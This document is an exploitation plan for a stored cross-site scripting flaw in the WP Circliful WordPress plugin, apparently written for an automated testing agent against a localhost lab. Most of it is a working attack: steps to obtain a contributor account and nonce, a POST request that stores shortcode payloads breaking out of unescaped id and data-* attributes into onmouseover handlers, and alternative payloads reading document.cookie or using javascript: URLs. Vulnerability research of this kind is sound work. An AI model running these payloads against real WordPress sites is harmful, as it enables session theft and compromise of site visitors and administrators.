Exploitation Research Plan - CVE-2026-3659

1. Vulnerability Summary

The WP Circliful plugin for WordPress (versions <= 1.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists within the processing of the [circliful] and [circliful_direct] shortcodes. Specifically, in circliful_shortcode(), the id attribute is concatenated directly into an HTML id attribute without sanitization or escaping. In circliful_direct_shortcode(), various attributes are output directly into HTML data-* attributes without escaping. This allows an authenticated attacker with Contributor-level permissions (who can create posts) to inject arbitrary JavaScript that executes when any user views the affected post.

2. Attack Vector Analysis

• Vulnerable Shortcodes: [circliful] and [circliful_direct]
• Vulnerable Attributes:
  • id (in [circliful])
  • All attributes (in [circliful_direct])
• Authentication Level: Authenticated (Contributor+)
• Preconditions: The plugin must be active. A Contributor user must be able to save or submit a post for review.
• Vector: Stored XSS via shortcode attribute breakout.

3. Code Flow

1. Registration: The plugin registers shortcodes using add_shortcode( 'circliful', 'circliful_shortcode' ) and add_shortcode( 'circliful_direct', 'circliful_direct_shortcode' ) during the init or plugins_loaded hook.
2. Processing: When a post containing these shortcodes is rendered:
   • circliful_shortcode( $atts ) is called. It parses $atts['id'].
   • Sink (Line 285): The code performs a concatenation like: $output = '<div id="' . $atts['id'] . '" ...>';.
   • Because $atts['id'] is not passed through esc_attr(), an attacker can provide a value like id='"><script>alert(1)</script>'.
3. Direct Processing: circliful_direct_shortcode( $atts ) is called.
   • Sink (Line 257): The code iterates through attributes and appends them to a string as data- attributes: foreach($atts as $key => $val) { $out .= " data-$key='$val'"; }.
   • Because $val is not escaped, an attacker can break out of the single quotes using '.

4. Nonce Acquisition Strategy

While the shortcode execution itself does not require a nonce, storing the shortcode in a post as a Contributor requires a WordPress post-editing nonce (_wpnonce).

1. Login: Authenticate as a Contributor user.
2. Navigate: Use browser_navigate to wp-admin/post-new.php.
3. Extract Nonce: Use browser_eval to extract the nonce from the page source.
   • Script: document.querySelector('#_wpnonce').value
4. Extract Post ID: Use browser_eval to get the post_ID hidden input if present, or wait for the auto-draft to trigger.

5. Exploitation Strategy

Step 1: Create a Contributor User

Use WP-CLI to ensure a user exists for testing.

wp user create attacker attacker@example.com --role=contributor --user_pass=password123

Step 2: Authenticate and Obtain Nonce

1. Navigate to the login page and log in as attacker.
2. Navigate to wp-admin/post-new.php.
3. Execute browser_eval("document.querySelector('#_wpnonce').value") to get the nonce.
4. Execute browser_eval("document.querySelector('#post_ID').value") to get the post ID assigned to the new draft.

Step 3: Inject Stored XSS Payload

Submit an HTTP POST request to save a post containing the malicious shortcode.

Request:

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • _wpnonce: [EXTRACTED_NONCE]
  • post_ID: [POST_ID]
  • action: editpost
  • post_title: XSS Test
  • content: [circliful id='poc" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red"']
  • post_status: publish (or pending if Contributor cannot publish)

Step 4: Trigger XSS

Navigate to the frontend URL of the created post.

Request:

• URL: http://localhost:8080/?p=[POST_ID]
• Method: GET

6. Test Data Setup

1. Plugin Installation: Ensure wp-circliful version 1.2 is installed and active.
2. User: Contributor user attacker.
3. Target Post: A post created by the contributor containing:
   • Payload A: [circliful id='x" onmouseover="alert(1)" style="width:100px;height:100px;background:red"']
   • Payload B: [circliful_direct x=' " onmouseover="alert(2)" style="width:100px;height:100px;background:blue"']

7. Expected Results

1. The HTML source of the rendered post will contain:
   • <div id="x" onmouseover="alert(1)" ...
   • <div ... data-x=' ' onmouseover="alert(2)" ...
2. The JavaScript event handler (onmouseover) will be present in the DOM.
3. Mousing over the red/blue boxes in the browser will trigger the alert.

8. Verification Steps

1. WP-CLI Verification:

   wp post get [POST_ID] --field=post_content
   

   Confirm the malicious shortcode is stored exactly as sent.
2. HTML Inspection:
   Use http_request to fetch the post page and grep for the injected payload:

   curl -s "http://localhost:8080/?p=[POST_ID]" | grep "onmouseover=\"alert"
   

9. Alternative Approaches

If the id attribute in [circliful] is somehow blocked or requires specific characters:

1. Use [circliful_direct]: This shortcode is described as outputting multiple attributes into data-* tags. Use a custom attribute name:
   [circliful_direct myattr=' " onmouseover="alert(document.cookie)"']
2. Breakout of data- attributes: Since the code iterates through $atts, try injecting attributes that are commonly used by the plugin but not sanitized, or entirely new ones.
3. XSS via CSS: If event handlers are filtered by a WAF, try breaking out to inject a style attribute with an expression or url(javascript:...) (though less effective in modern browsers).
   [circliful id='x" style="background-image:url(javascript:alert(1))"']